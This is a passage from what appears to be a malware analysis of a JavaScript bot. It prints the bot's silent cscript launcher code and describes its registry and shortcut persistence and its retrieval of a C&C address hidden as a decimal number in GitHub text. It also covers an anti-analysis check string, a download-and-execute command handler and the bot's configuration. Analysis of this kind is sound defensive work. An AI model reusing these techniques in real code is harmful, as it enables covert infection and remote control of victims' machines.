var WshShell = new ActiveXObject("WScript.Shell");
WshShell.Run("C:\\Windows\\System32\\cscript.exe %localappdata%\\Microsoft\\PackageCache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\\file.js", 0, 0);

The purpose of this file is to execute the main malicious JavaScript file.

7. Copies the main JavaScript file to the storage directory with the filename: file.js

8. Executes the main JavaScript, file.js

9. Deletes the original instance of the JavaScript.

The following actions are performed when the main JavaScript is executed from the storage directory.

10. Creates an lck file, h.lck in the storage directory.

11. Kills any running instance of iexplore.exe as described in the step 5 above.

12. Creates a Windows Registry file, g3r.reg in the storage directory with the following information:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows]

[HKEY_CURRENT_USER\Control Panel\Cursors]

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Recovery]

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\PhishingFilter]

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\BrowserEmulation]


[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]


This registry file is executed using: reg import command and it results in the creation of the Persistence Registry key which points to service.lnk file dropped in the Storage Directory.

13. Creates a Shortcut, LNK file with the name, service.lnk in the Storage Directory whose target points to startup.js in the storage directory.

C&C Communication

The most interesting part in this sample was the C&C Communication. The C&C Server address is retrieved from github as shown below:

JavaScript calls the extract_srvaddr() function which performs the following main actions:

1. Connects to the following github URLs:

Looks for the pattern: "our news start at (.*) thank you"

Please refer the screenshot below:

Figure 3
2. Once it finds the above pattern, it extracts the number. In our case, the number is: 2077937692956. This number is the decimal representation of the C&C IP Address:

3. It calls the function, num2dot() to convert the above number to an IP address.

4. Validation of the C&C Server: It uses an interesting method to verify whether the C&C Server is indeed the actual intended server and not an analysis server. To do this, it constructs the following URL:


It connects to the above URL and looks for the string: youwillnotfindthisanywhare.

Please refer the screenshot below.

Figure 4
If this string is found in the HTML response, then it continues with the execution.

Data Exfiltration and C&C Commands

The communication between the JavaScript based bot and the C&C Server takes place using an instance of InternetExplorer.Application ActiveXObject.

The function, get_page_content_with_ie() is used to send GET and POST requests to the C&C Server.

The main requests sent are as shown below:

getid: Sends an HTTP POST request to the URL: hxxp:// with the following data:


In response, the C&C Server will return the ID as shown below:


getcommand: It retrieves the commands from the C&C Server by sending an HTTP POST request to the URL: hxxp:// and sending the following data:


The Server responds with the following data:


At the time of verification, the C&C Server was not responding with a command.

However, based on the static analysis of the JavaScript, it will perform the following actions on the command:

1. Parses the command searching for the keyword: "download"
2. If it finds the keyword, "download", then it splits the value using the delimiter, "|"
3. Sends an HTTP GET request to the URL: hxxp://<value> to fetch the response
4. If the response is a binary, then the file will be dropped and executed.
5. Otherwise the command will be executed directly using cmd.exe

Config File

URLs: ['',''];
version = "1.3"
ref = "bd"
StorageDir = WshShell.ExpandEnvironmentStrings("%localappdata%")+"\\Microsoft\\PackageCache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}";
startup_shortcut = services.lnk
agent_location = file.js
agent_hidden_executer = startup.js
g3r = g3r.reg
agent_id_location = id
lckFile = h.lck
ieFile = kill.js
sctFile = SC7.P7D
pyFile =